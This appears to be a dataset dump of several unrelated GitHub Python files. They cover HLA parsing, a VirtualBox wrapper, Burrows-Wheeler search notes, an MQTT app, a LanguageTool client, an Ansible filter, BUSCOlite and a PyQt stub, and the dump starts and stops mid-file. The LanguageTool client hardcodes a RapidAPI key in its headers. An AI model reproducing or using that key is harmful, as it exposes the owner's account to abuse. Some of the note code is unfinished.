hla_antibodies=_parse_hla_antibodies(recipient_antibodies_str[row[0]])\n )\n )\n\n return PatientUploadDTOIn(\n country=Country.ITA,\n txm_event_name=TXM_EVENT_NAME,\n donors=donors,\n recipients=recipients,\n add_to_existing_patients=False\n )\n\n\ndef _parse_hla(hla_codes_str: str) -> List[str]:\n if not isinstance(hla_codes_str, str):\n return []\n\n hla_codes_str = re.sub(r'\\(.*?\\)', '', hla_codes_str)\n hla_codes_str = re.sub(r'\\n', '', hla_codes_str)\n\n hla_codes = hla_codes_str.split('|')\n hla_codes = [code.upper() for code in hla_codes if len(code) > 0]\n\n hla_codes_to_return = []\n for code in hla_codes:\n numeric_index = 0\n for index in range(len(code)):\n if code[index].isnumeric() is True:\n numeric_index = index\n break\n hla_type = code[0:numeric_index]\n if hla_type == 'CW':\n hla_type = 'C'\n if code.endswith('00'):\n code_to_return = hla_type + str(int(code[numeric_index:numeric_index+2]))\n else:\n if hla_type == 'DP' or hla_type == 'DQ' or hla_type == 'DR':\n code_to_return = hla_type + 'B1*' + code[numeric_index:numeric_index+2] + ':' + code[numeric_index+2:]\n else:\n code_to_return = hla_type + '*' + code[numeric_index:numeric_index+2] + ':' + code[numeric_index+2:]\n\n hla_codes_to_return.append(code_to_return)\n return hla_codes_to_return\n\n\ndef _parse_hla_antibodies(hla_allele_str: str) -> List[HLAAntibodiesUploadDTO]:\n hla_codes = _parse_hla(hla_allele_str)\n\n return [HLAAntibodiesUploadDTO(\n mfi=DEFAULT_MFI,\n cutoff=DEFAULT_CUTOFF,\n name=hla_code\n ) for hla_code in hla_codes]\n\n\nif __name__ == '__main__':\n store_italian_data_in_json()\n","repo_name":"mild-blue/txmatching","sub_path":"local_testing_utilities/notebooks/italian_data/italian_data_converter.py","file_name":"italian_data_converter.py","file_ext":"py","file_size_in_byte":5740,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"23712930330","text":"\"\"\"\nThis module encapsulate VirtualBox commands in an easy to use set of commands\n\"\"\"\n\nfrom sh import Command, CommandNotFound, ErrorReturnCode_1\nimport re\n\nfrom .utils import memoized\n\n\nclass VMNotFound(Exception):\n \"\"\"\n Thrown when an invalid virtual machine name is provided to one\n of the functions in this lib\n \"\"\"\n def __init__(self, vm_name):\n msg = 'Virtual Machine \"%s\" does not exists' % vm_name\n super(Exception, self).__init__(msg)\n\n\nclass HDDNotFound(Exception):\n \"\"\"\n Thrown when an invalid hdd uuid is provided to one\n of the functions in this lib\n \"\"\"\n def __init__(self, uuid):\n msg = 'Virtual Hard Drive \"%s\" does not exists' % uuid\n super(Exception, self).__init__(msg)\n\n\nclass InvalidState(Exception):\n pass\n\n_vbm = None\n\n\ndef VBoxManage(*args, **kwargs):\n global _vbm\n if not _vbm:\n _vbm = Command('VBoxManage')\n return _vbm(*args, **kwargs)\n\n\n@memoized\ndef list_vms(running=False):\n \"\"\"\n Return the list of VM in for the form name => uuid, when the running bool\n is set to true, only return running VMs\n :param running: bool\n :return: dict[str,str]\n \"\"\"\n try:\n LIST_PARSER = re.compile(r'\"(?P[^\"]+)\" \\{(?P[^\\}]+)\\}')\n vms = {}\n list = running and 'runningvms' or 'vms'\n for line in VBoxManage('list', list, _iter=True):\n res = re.match(LIST_PARSER, line)\n if res:\n vms[res.group('name')] = res.group('uuid')\n return vms\n except CommandNotFound:\n return {}\n\n\n@memoized\ndef list_hdds():\n \"\"\"\n Return the list of HDDs in for the form\n uuid => {state, type, location, format, cap}\n :return: dict[str,dict[str,str]]\n \"\"\"\n hdds = {}\n uuid = None\n for line in VBoxManage('list', 'hdds', _iter=True):\n if not line.strip():\n continue\n\n key, val = line.strip().split(':')\n val = val.strip()\n\n if key == 'UUID':\n uuid = val\n hdds[uuid] = {}\n elif uuid:\n hdds[uuid][key] = val\n\n return hdds\n\n\n@memoized\ndef hdd_info(uuid):\n try:\n info = {}\n for line in VBoxManage('showhdinfo', uuid, _iter=True):\n if not line.strip():\n continue\n key, val = line.strip().split(':')\n val = val.strip()\n info[key] = val\n return info\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise HDDNotFound(uuid)\n # something else happened, just let it go\n raise\n\n\ndef hdd_detach(uuid, controller_name, port, device):\n try:\n VBoxManage('storageattach', uuid, '--storagectl', controller_name,\n '--port', port, '--device', device, '--type', 'hdd',\n '--medium', 'none')\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise HDDNotFound(uuid)\n # something else happened, just let it go\n raise\n\n\ndef hdd_clone(uuid, new_location, existing=False):\n try:\n if existing:\n VBoxManage('clonehd', uuid, new_location, '--existing')\n else:\n VBoxManage('clonehd', uuid, new_location)\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise HDDNotFound(uuid)\n # something else happened, just let it go\n raise\n\n\ndef hdd_close(uuid, delete=False):\n try:\n if delete:\n VBoxManage('closemedium', 'disk', uuid, '--delete')\n else:\n VBoxManage('closemedium', 'disk', uuid)\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise HDDNotFound(uuid)\n # something else happened, just let it go\n raise\n\n\n@memoized\ndef vm_info(name):\n \"\"\"\n Wrapper around VBoxManage showvminfo\n Return all the information about an existing VM\n :param name: str\n :return: dict[str,str]\n \"\"\"\n try:\n INFO_PARSER = re.compile(\n r'^(\"(?P[^\"]+)\"|(?P[^=]+))=(?P.*)$')\n info = {}\n for line in VBoxManage('showvminfo', name, '--machinereadable',\n _iter=True):\n matches = re.match(INFO_PARSER, line)\n if matches:\n key = matches.group('key') or matches.group('quoted_key')\n value = matches.group('value')\n\n if key and value:\n info[key] = value\n return info\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise VMNotFound(name)\n # something else happened, just let it go\n raise\n\n\n@memoized\ndef vm_network(name):\n \"\"\"\n Return IP, Mac, Netmask, Broadcast and Status about every interfaces\n of a running VM\n :param name: str\n :return: list[dict[str,str]]\n \"\"\"\n try:\n networks = []\n count = int(str(VBoxManage('guestproperty', 'get',\n name, '/VirtualBox/GuestInfo/Net/Count'))[7:])\n\n mappings = {\n 'ip': '/VirtualBox/GuestInfo/Net/%d/V4/IP',\n 'mac': '/VirtualBox/GuestInfo/Net/%d/MAC',\n 'netmask': '/VirtualBox/GuestInfo/Net/%d/V4/Netmask',\n 'status': '/VirtualBox/GuestInfo/Net/%d/Status',\n 'broadcast': '/VirtualBox/GuestInfo/Net/%d/V4/Broadcast'\n }\n\n for i in range(count):\n network = {}\n for map, property in mappings.iteritems():\n prop = VBoxManage('guestproperty', 'get', name, property % i)\n network[map] = str(prop)[7:].strip()\n networks.append(network)\n\n return networks\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise VMNotFound(name)\n # something else happened, just let it go\n raise\n\n\n@memoized\ndef vm_ip(name, id):\n \"\"\"\n Return a running VMs IP for the given VM name and interface id,\n returns None if not running or the id does not exists\n :param name: str\n :param id: int\n :return: None|str\n \"\"\"\n try:\n prop = '/VirtualBox/GuestInfo/Net/%d/V4/IP' % (id)\n value = str(VBoxManage('guestproperty', 'get',\n name, prop))\n if value == 'No value set!':\n return None\n return value[7:].strip()\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise VMNotFound(name)\n # something else happened, just let it go\n raise\n\n\ndef vm_start(name, headless=True):\n \"\"\"\n Start or resume a VM in headmode by default\n :param name: str\n :param headless: bool\n :return: None\n \"\"\"\n try:\n VBoxManage('startvm', name, '--type', headless and 'headless' or 'gui')\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise VMNotFound(name)\n if 'VBOX_E_INVALID_OBJECT_STATE' in e.stderr:\n raise InvalidState(e.stderr.split('\\n')[0][17:])\n # something else happened, just let it go\n raise\n\n\ndef vm_suspend(name):\n \"\"\"\n Save the state of a running VM, raises an InvalidState exception\n if the VM is not in a state where it can be saved\n :param name: str\n :return: None\n \"\"\"\n try:\n VBoxManage('controlvm', name, 'savestate')\n except ErrorReturnCode_1 as e:\n # if the VM was not found\n if 'VBOX_E_OBJECT_NOT_FOUND' in e.stderr:\n raise VMNotFound(name)\n if 'Machine in invalid state' in e.stderr:\n raise InvalidState(e.stderr[17:])\n # something else happened, just let it go\n raise\n\n\ndef version():\n try:\n return str(VBoxManage('--version')).rstrip()\n except CommandNotFound:\n return None\n","repo_name":"AerisCloud/AerisCloud","sub_path":"aeriscloud/virtualbox.py","file_name":"virtualbox.py","file_ext":"py","file_size_in_byte":8106,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"21921554486","text":"import numpy as np\nimport sys, itertools\n\ndef c_table(sa):\n buckets = None\n\n for key, value in sa.items():\n buckets = {}\n sa = value[1]\n seq = value[0] + \"$\"\n \n for i in range(0, len(sa)):\n char = seq[sa[i]]\n if char not in buckets:\n buckets[char] = i\n\n return buckets\n\ndef o_table(sa):\n\n for key, value in sa.items():\n sa = value[1]\n seq = value[0] + \"$\"\n\n alphabet = sorted(set(seq))\n alphabet_size = len(alphabet)\n n = len(sa)\n\n O = np.zeros((n + 1, alphabet_size))\n \n for i in range(1, n + 1):\n for a in range(0, alphabet_size):\n if seq[sa[i - 1] - 1] == alphabet[a]:\n O[i][a] = O[i - 1][a] + 1\n else: \n O[i][a] = O[i - 1][a]\n\n return O\n\ndef d_table(RO, C, sa, p, alpha):\n min_edits = 0\n m = len(p)\n L, R = 0, len(sa)\n d = np.zeros(m, dtype=int)\n\n for i in range(m):\n a = p[i]\n L = C[a] + RO[int(L)][alpha[a]]\n R = C[a] + RO[int(R)][alpha[a]]\n if L > R: \n min_edits += 1\n L = 0\n R = len(sa)\n d[i] = min_edits\n\n return d\n\ndef bw_approx(O, C, p, d, sa, alpha, max_edits):\n L, R = 0, len(sa)\n i = len(p) - 1\n cigar = np.zeros(len(p)+max_edits, dtype=str)\n \n # Match\n c_index = 0\n for a in list(alpha.keys())[1:]:\n new_L = C[a] + O[int(L)][alpha[a]]\n new_R = C[a] + O[int(R)][alpha[a]]\n \n # Match or mismatch\n if a == p[i]: \n edit_cost = 0\n else:\n edit_cost = 1\n \n if max_edits - edit_cost < 0: continue\n if new_L >= new_R: continue\n\n cigar[c_index] = 'M'\n rec_approx(\n d, sa, O, C, cigar, new_L, new_R, \n i - 1, max_edits - edit_cost, c_index + 1)\n \n\n # Insertion\n cigar[c_index] = 'I'\n rec_approx(\n d, sa, O, C, cigar, L, R, \n i - 1, max_edits - 1, c_index + 1)\n \n # return matches, cigar\n\ndef rec_approx(d, sa, O, C, cigar, L, R, i, edits_left, c_index):\n lower_limit = d[i]\n if edits_left < lower_limit:\n return None\n if i < 0: # Means we have a match\n matches = sa[int(L):int(R)]\n print(matches, cigar[:c_index][::-1])\n return\n \n for a in list(alpha.keys())[1:]:\n new_L = C[a] + O[int(L)][alpha[a]]\n new_R = C[a] + O[int(R)][alpha[a]]\n\n if a == p[i]:\n edit_cost = 0\n else:\n edit_cost = 1\n if edits_left - edit_cost < 0: continue\n if new_L >= new_R: continue\n\n cigar[c_index] = 'M'\n rec_approx(\n d, sa, O, C, cigar, new_L, new_R, \n i - 1, edits_left - edit_cost, c_index + 1)\n \n # Insertion\n cigar[c_index] = 'I'\n rec_approx(\n d, sa, O, C, cigar, L, R, \n i - 1, edits_left - 1, c_index + 1)\n\n # Deletion\n cigar[c_index] = 'D'\n for a in list(alpha.keys())[1:]:\n new_L = C[a] + O[int(L)][alpha[a]]\n new_R = C[a] + O[int(R)][alpha[a]]\n if new_L >= new_R: continue\n\n rec_approx(\n d, sa, O, C, cigar, new_L, new_R, \n i, edits_left - 1, c_index + 1)\n\n return\n\nx = \"mississippi$\"\nsa_dict = {\"one\":[\"mississippi\", [11, 10, 7, 4, 1, 0, 9, 8, 6, 3, 5, 2]]}\nrsa_dict = {\"one\":[\"mississippi\", [0, 10, 1, 7, 4, 11, 3, 2, 9, 6, 8, 5]]}\n# rsa_dict = {\"one\":[\"mississippi\", [11, 9, 0, 6, 3, 10, 2, 1, 8, 5, 7, 4]]}\n\n\np = \"is\"\nsa = [11, 10, 7, 4, 1, 0, 9, 8, 6, 3, 5, 2]\nalpha = {a:i for i, a in enumerate(sorted(set(x)))}\nO = o_table(sa_dict)\nC = c_table(sa_dict)\nRO = o_table(rsa_dict)\nd = d_table(RO, C, sa, p, alpha)\n\nbw_approx(O, C, p, d, sa, alpha, 1)\n\ndef search_bw(sa, fastq, o_dict, c_dict, ro_dict):\n\n if len(sa) < 0 or len(fastq) < 0:\n return \"Problems with either fastq file or the SA and LCP\"\n\n flag, mapq, pnext, tlen = 0,0,0,0\n rnext = \"*\"\n\n for x in sa.items():\n rname = x[0]\n y = x[1][0] + \"$\"\n sa = x[1][1]\n\n O = o_dict[rname]\n RO = ro_dict[rname]\n C = c_dict[rname]\n\n for p in fastq.items():\n qname = p[0]\n substring = p[1][0]\n cigar = str(len(substring)) + \"M\"\n qual = p[1][1]\n\n alpha = {a:i for i, a in enumerate(sorted(set(y)))}\n \n d = d_table(RO)\n matches, cigars = bw_approx(O, C, d, substring, sa, alpha)\n\n if matches is not None:\n for match, cigar in itertools.zip_longest(matches, cigars):\n pos = int(match) + 1\n cigar = ''.join([f'{value}{key}'for key, value in cigars.items()])\n print(f\"{qname}\\t{flag}\\t{rname}\\t{pos}\\t{mapq}\\t{cigar}\\t{rnext}\\t{pnext}\\t{tlen}\\t{substring}\\t{qual}\", file = sys.stdout)\n \n return \n\n# # Creating first parser\n# parser1 = argparse.ArgumentParser(description='SA computation using SAIS')\n# parser1.add_argument('-p', help='Create SA from fastafile')\n# args1 = parser1.parse_known_args()\n\n# if args1[0].p:\n# fastafile = parsers.read_fasta_file(args1[0].p)\n# fastaname = f\"{args1[0].p}\"\n\n# # Make suffix array and read file\n# gen_sa.gen_sa(fastafile, fastaname) # Use Stine's new function here instead\n# sa = parsers.read_SA(f\"{fastaname}.sa\")\n# rsa = parsers.read_SA(f\"{fastaname}.rsa\") # Make sure that it also creates the sa for the reversed string\n\n# # Make C, O, and RO table\n# c_table(sa, fastaname)\n# o_table(sa, fastaname)\n# o_table(rsa, fastaname)\n\n\n# else:\n# # Creating second parser if -p is not given\n# parser2 = argparse.ArgumentParser(description='Pattern matching using suffix tree')\n# parser2.add_argument('fastafile', help=\"Input fasta file\")\n# parser2.add_argument('fastqfile', help=\"Input fastq file\")\n# args2 = parser2.parse_args()\n# fastq = parsers.read_fastq_file(args2.fastqfile)\n# sa = parsers.read_SA(f\"{args2.fastafile}.sa\")\n \n# o_dict = parsers.read_o(f\"{args2.fastafile}.o-table\")\n# ro_dict = parsers.read_o(f\"{args2.fastafile}.ro-table\")\n# c_dict = parsers.read_c(f\"{args2.fastafile}.c-table\")\n \n# search_bw(sa, fastq, o_dict, c_dict, ro_dict)","repo_name":"stinekrye/GSA","sub_path":"Project 5/jannesnotes.py","file_name":"jannesnotes.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74304147132","text":"#!/usr/bin/env python\n\n\"\"\"\nReceives MQTT Messages, maps sensor names to coordinates,\nstores sensor status & connects to plugins\n\nSources:\n[Plugin Mechanism] https://codereview.stackexchange.com/questions/2892/minimal-python-plugin-mechanism\n[Dynamic Imports] https://www.blog.pythonlibrary.org/2012/07/31/advanced-python-how-to-dynamically-load-modules-or-classes/\n[Threading] http://sebastiandahlgren.se/2014/06/27/running-a-method-as-a-background-thread-in-python/\n\"\"\"\n\n__author__ = \"Lukas Gartlehner\"\n__copyright__ = \"Lukas Gartlehner\"\n__version__ = \"0.1\"\n__email__ = \"l.gartlehner@gmx.at\"\n__status__ = \"Development\"\n\n# ---------------------------------------------------\n# Standard Libs\nfrom glob import glob\nimport os.path\nimport time\nimport sys\nimport json\nimport pkgutil\nfrom threading import Thread\n\n# ---------------------------------------------------\n# 3rd Party Libs (install with pip)\nimport numpy\nimport paho.mqtt.client as mqtt\n\n# ---------------------------------------------------\n# Custom Modules\nimport appconfig as conf\nimport plugins\n\n\n\n\nclass AudioApp():\n\n processBar = '<<==>> '\n processBarLeft = True\n seperator = \"-----------------------------------------\"\n printVal = []\n activePlugin = ''\n userInput = ''\n printedLines = 0\n appRunning=True\n\n def build(self):\n \n # init mqtt\n self.client = mqtt.Client(conf.brokerSettings['client'])\n self.client.connect(conf.brokerSettings['address'], conf.brokerSettings['port'])\n\n # wait for MQTT connection\n # TODO: implement proper callback https://www.eclipse.org/paho/clients/python/docs/\n # with error handling on failed connection\n time.sleep(0.5)\n\n self.client.subscribe(conf.brokerSettings['topic'])\n\n # setup callback\n self.client.on_message=self.on_message\n self.client.loop_start()\n\n print(\"MQTT Config: \" + str(conf.brokerSettings))\n print('')\n\n # Build 5x5 numpy grids\n self.gridModel = numpy.zeros((5, 5), dtype=numpy.int16)\n self.gridSubtract = (numpy.ones((5, 5), dtype=numpy.int8))*4 \n \n Thread(target=self.user_input, args=()).start() \n \n \n self.available_plugins()\n\n\n self.drawGrid(False)\n self.use_plugin(0)\n\n \n\n\n def available_plugins(self):\n \n \"\"\" Gets all python files from /plugins \"\"\"\n\n pluginsPath = os.path.dirname(plugins.__file__)\n pluginModules = [name for _, name, _ in pkgutil.iter_modules([pluginsPath])]\n self.allPlugins = []\n\n print(\"Available Plugins:\")\n for plugin in pluginModules:\n self.allPlugins.append(plugin)\n print(str(len(self.allPlugins)) + \". \" +plugin)\n print(self.seperator)\n\n\n\n\n\n def use_plugin(self, pluginNumber):\n\n \"\"\" imports and instantiates a plugin from the list \"\"\"\n\n try:\n pluginName =\"plugins.\"+self.allPlugins[pluginNumber]\n __import__(pluginName)\n sys.modules[pluginName]\n self.plugin = sys.modules[pluginName].MoonMelonPlugin(self.on_plugin_receive, conf)\n self.activePlugin = self.allPlugins[pluginNumber]\n\n except:\n self.print_proxy(\"Error loading plugin\")\n \n\n\n\n def on_plugin_receive(self, payload, topic=conf.brokerSettings['topic']):\n\n \"\"\" Callback for the plugin \"\"\"\n\n self.print_proxy(str(payload))\n\n \"\"\"\n ->>> uncomment this block to publish payload on MQTT\n\n payload = json.dumps(payload)\n self.print_proxy(\"sent payload \" + payload)\n self.client.publish(topic, json.dumps(payload))\n \"\"\"\n\n\n def on_message(self, client, userdata, message):\n\n '''\n Callback for MQTT messages\n {\"k\": \"XXX\", \"v\": 100}\n '''\n\n val = json.loads(str(message.payload.decode(\"utf-8\"))) \n\n try:\n sensorId = val['k']\n pos = conf.SensorMapping[sensorId]\n sensorName = conf.SensorNames[sensorId]\n v = int(val['v'])\n\n\n except:\n self.print_proxy('Could not digest ' + str(message.payload.decode(\"utf-8\")))\n\n self.gridModel[pos] = v\n self.print_proxy('Added ' + str(message.payload.decode(\"utf-8\")))\n\n #Thread(target=self.plugin.update, args=(self.gridModel, sensorName)).start() \n self.plugin.update(self.gridModel, sensorName)\n\n\n def drawGrid(self, removePrevOut=True):\n\n '''\n Pseudo-GUI for status overview\n Draws out the [5x5] array and prints user-input and app-status to bash\n '''\n\n # delete previous outputs from bash\n if removePrevOut:\n for x in range (0,9):\n sys.stdout.write(\"\\033[F\") #back to previous line\n sys.stdout.write(\"\\033[K\") #clear line\n\n # check user-input\n if self.userInput != '':\n\n if (self.userInput == 'c'):\n self.clear_printed_lines()\n\n elif (self.userInput == 'x'):\n self.appRunning=False\n sys.exit()\n\n else:\n self.print_proxy(\"Command: \" + str(self.userInput))\n try:\n self.use_plugin(int(self.userInput)-1)\n except ValueError as ex:\n self.print_proxy(\"Invalid command sequence\")\n self.userInput='' \n\n\n # send all collected std-out to bash\n for line in self.printVal:\n print(line)\n self.printVal = []\n\n print(self.seperator)\n\n # pseudo-GUI\n self.processBar, self.processBarLeft = self.updateProcessBar(self.processBar, self.processBarLeft)\n print(\"[\",self.processBar,\"]\")\n\n for row in self.gridModel:\n rowToStr = ''\n for cell in row: \n rowToStr += \" [\" + str(cell).zfill(3) + \"] \"\n print(rowToStr)\n\n print(\"[\",self.processBar,\"]\")\n print(\"Using Plugin: \", self.activePlugin)\n\n # subtract from values in the matrix\n self.gridModel = numpy.clip(self.gridModel - self.gridSubtract, 0, 256)\n\n\n\n def print_proxy(self, msg):\n\n \"\"\" use this method instead of print() to keep interactive bash output \"\"\"\n self.printedLines += 1\n self.printVal.append(str(msg))\n\n def clear_printed_lines(self):\n for x in range (0,self.printedLines):\n sys.stdout.write(\"\\033[F\") #back to previous line\n sys.stdout.write(\"\\033[K\") #clear line\n\n self.printedLines=0\n\n\n def updateProcessBar(self, bar, left):\n \n \"\"\" Fancy Bash-Processing-Bar \"\"\"\n\n bar = bar[-1] + bar[:-1] if left else bar[1:] + bar[0]\n if (bar[0]=='<') or (bar[-1]=='>'): left=(not left)\n \n return bar, left\n\n\n def user_input(self):\n\n \"\"\" Wait for user input - start as Thread to allow non-blocking I/O \"\"\"\n \n while self.appRunning:\n self.userInput = raw_input(\"\")\n sys.stdout.write(\"\\033[F\")\n sys.stdout.write(\"\\033[K\")\n\n\n def run(self):\n self.build()\n\n while self.appRunning:\n time.sleep(0.1)\n self.drawGrid()\n\n\n\nif __name__ == '__main__':\n AudioApp().run()\n","repo_name":"LGA/MQTTAudioPlayer","sub_path":"main_old.py","file_name":"main_old.py","file_ext":"py","file_size_in_byte":7296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"4292410900","text":"import requests\nfrom urllib.parse import quote\n\n# encoding\ndef encodeInput(text):\n encoded_text = \"text=\" + quote(text) + \"&language=en-US\"\n return encoded_text\n \n# language tool api\ndef languageTool(text):\n url = \"https://dnaber-languagetool.p.rapidapi.com/v2/check\"\n \n inputText = encodeInput(text)\n headers = {\n 'content-type': \"application/x-www-form-urlencoded\",\n 'x-rapidapi-key': \"49491d0e58mshc6937e8d420377ap1de6f6jsn6ea9c2dcaa0b\",\n 'x-rapidapi-host': \"dnaber-languagetool.p.rapidapi.com\"\n }\n\n response = requests.request(\"POST\", url, data=inputText, headers=headers)\n matches = response.json()['matches']\n \n if matches == []:\n # 맞는 문장\n #msg = \"Correct!\"\n msg = \"\"\n else:\n #틀린 문장 \n msg = \"\"\n\t\t# 오류가 여러개면 여러개 출력하도록 함.\n mis = False\n for m in range(len(matches)):\n err = matches[m]['shortMessage']\n # spelling mistake : 철자오류 또는 띄어쓰기 오류\n # 그런 종류의 오류는 무시함\n if err == 'Spelling mistake' :\n if mis :\n continue\n msg += \"There is a spelling mistake. The chatbot may not work smoothly.
\"\n mis = True\n continue\n elif err == '':\n continue\n msg += err + \" : \" + matches[m]['message'] + '
'\n msg += 'Can be replaced by : '\n rep = matches[m]['replacements']\n for i in range(len(rep)):\n msg += rep[i]['value']\n if i != len(rep)-1:\n msg += ', '\n msg += '\\n'\n return msg\n","repo_name":"TMTsProject/django-chatbot","sub_path":"bot/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36548391","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\ndef listify(d, *keys):\n return listify_worker(d, keys, 0, [], {}, '')\n\ndef listify_worker(d, keys, depth, result, cache, prefix):\n prefix += keys[depth] + '_'\n\n if keys[depth] in d:\n for item in d[keys[depth]]:\n cache_work = cache.copy()\n if isinstance(item, dict):\n for k,v in item.items():\n '''\n The aci_static_binding_to_epg module requires a list of node IDs when the leaf interface type\n is vpc. So the custom filter has been modified to allow a list in this case.\n '''\n allowed_list_values = ['leafs']\n if k in allowed_list_values: # These are the only key who's value CAN be a list\n cache_key = prefix + k\n cache_value = v\n cache_work[cache_key] = cache_value\n elif not isinstance(v, dict) and not isinstance(v, list):\n cache_key = prefix + k\n cache_value = v\n cache_work[cache_key] = cache_value\n\n if len(keys)-1 == depth :\n result.append(cache_work)\n else:\n for k,v in item.items():\n if k == keys[depth+1]:\n if isinstance(v, dict) or isinstance(v, list):\n result = listify_worker({k:v}, keys, depth+1, result, cache_work, prefix)\n return result\n\nclass FilterModule(object):\n ''' Ansible core jinja2 filters '''\n\n def filters(self):\n return {\n 'aci_listify': listify,\n }\n","repo_name":"pivot-sdn/aci-ansible-role","sub_path":"roles/datacenter.aci-model/plugins/filter/aci.py","file_name":"aci.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"73970714810","text":"#!/usr/bin/env python3\n\nimport sys\nimport os\nimport argparse\nimport json\nfrom .__version__ import __version__\nfrom .help_formatter import MyParser, MyHelpFormatter\nfrom .busco import runbusco\nfrom .utilities import summary_writer\nfrom .gff import gffwriter\nfrom .log import startLogging\n\n\ndef main():\n args = parse_args(sys.argv[1:])\n logger = startLogging()\n d, m, stats, cfg = runbusco(\n args.input,\n args.lineage,\n species=args.species,\n mode=args.mode,\n cpus=args.cpus,\n offset=args.flanks,\n logger=logger,\n verbosity=3,\n )\n logger.info(\n \"Assembly completeness:\\n complete={:} [{:.2%}]\\n single-copy={:} [{:.2%}]\\n fragmented={:} [{:.2%}]\\n duplicated={:} [{:.2%}]\\n missing={:} [{:.2%}]\\n total={:} [{:.2%}]\".format(\n stats[\"single-copy\"] + stats[\"duplicated\"],\n ((stats[\"single-copy\"] + stats[\"duplicated\"]) / float(stats[\"total\"])),\n stats[\"single-copy\"],\n (stats[\"single-copy\"] / float(stats[\"total\"])),\n stats[\"fragmented\"],\n (stats[\"fragmented\"] / float(stats[\"total\"])),\n stats[\"duplicated\"],\n (stats[\"duplicated\"] / float(stats[\"total\"])),\n stats[\"missing\"],\n (stats[\"missing\"] / float(stats[\"total\"])),\n stats[\"total\"],\n (stats[\"total\"] / float(stats[\"total\"])),\n )\n )\n # write gff if genome mode\n if args.mode == \"genome\":\n gff = \"{}.buscolite.gff3\".format(args.out)\n with open(gff, \"w\") as outfile:\n gffwriter(d, outfile)\n # write summary output\n summary = \"{}.buscolite.tsv\".format(args.out)\n with open(summary, \"w\") as outfile:\n summary_writer(d, m, sys.argv, cfg, outfile, mode=args.mode)\n # write output file to json, might useful\n raw = \"{}.buscolite.json\".format(args.out)\n with open(raw, \"w\") as outfile:\n outfile.write(json.dumps(d, indent=2))\n if args.mode == \"genome\":\n logger.info(\n \"Ouput files written:\\n GFF3={}\\n Summary={}\\n Raw={}\".format(\n gff, summary, raw\n )\n )\n else:\n logger.info(\"Ouput files written:\\n Summary={}\\n Raw={}\".format(summary, raw))\n\n\ndef parse_args(args):\n description = \"BUSCOlite: simplified BUSCO analysis for genome annotation\"\n parser = MyParser(\n description=description, formatter_class=MyHelpFormatter, add_help=False\n )\n required = parser.add_argument_group(\"Required arguments\")\n optional = parser.add_argument_group(\"Optional arguments\")\n\n required.add_argument(\n \"-i\",\n \"--input\",\n required=True,\n metavar=\"\",\n help=\"Input sequence file in FASTA format (genome or proteome)\",\n )\n required.add_argument(\n \"-o\",\n \"--out\",\n required=True,\n metavar=\"\",\n help=\"Give your analysis run a recognisable short name\",\n )\n required.add_argument(\n \"-m\",\n \"--mode\",\n dest=\"mode\",\n required=True,\n metavar=\"\",\n choices=[\"genome\", \"proteins\"],\n help=\"Specify which BUSCO analysis mode to run. [genome, proteins\",\n )\n required.add_argument(\n \"-l\",\n \"--lineage\",\n required=True,\n metavar=\"\",\n help=\"Specify location of the BUSCO lineage data to be used (full path).\",\n )\n optional.add_argument(\n \"-c\",\n \"--cpus\",\n required=False,\n type=int,\n default=1,\n metavar=\"\",\n help=\"Specify the number (N=integer) of threads/cores to use.\",\n )\n optional.add_argument(\n \"-s\",\n \"--species\",\n required=False,\n default=\"anidulans\",\n metavar=\"\",\n help=\"Name of existing Augustus species gene finding parameters.\",\n )\n optional.add_argument(\n \"-f\",\n \"--flanks\",\n required=False,\n type=int,\n default=2000,\n metavar=\"\",\n help=\"Length of flanking region to use for augustus prediction from miniprot hits.\",\n )\n help_args = parser.add_argument_group(\"Help\")\n help_args.add_argument(\n \"-h\",\n \"--help\",\n action=\"help\",\n default=argparse.SUPPRESS,\n help=\"Show this help message and exit\",\n )\n help_args.add_argument(\n \"--version\",\n action=\"version\",\n version=\"{} v{}\".format(\n os.path.basename(os.path.dirname(os.path.realpath(__file__))), __version__\n ),\n help=\"show program's version number and exit\",\n )\n\n # If no arguments were used, print the base-level help which lists possible commands.\n if len(args) == 0:\n parser.print_help(file=sys.stderr)\n sys.exit(1)\n\n return parser.parse_args(args)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nextgenusfs/buscolite","sub_path":"buscolite/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4785,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"13213602220","text":"from functools import cache\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import uic \nfrom PyQt5.QtGui import QIcon\nfrom PyQt5 import QtWidgets\nfrom helpWindow import Ui_helpWindow\nimport sys \nimport json \nfrom playsound import playsound\nimport googletrans\nimport textblob\nimport speech_recognition as sr \nimport pyttsx3 \n\n#read from json \nf = open(\"themes.json\")\nthemes = json.load(f)\n\nengine = pyttsx3.init() \n\ndef 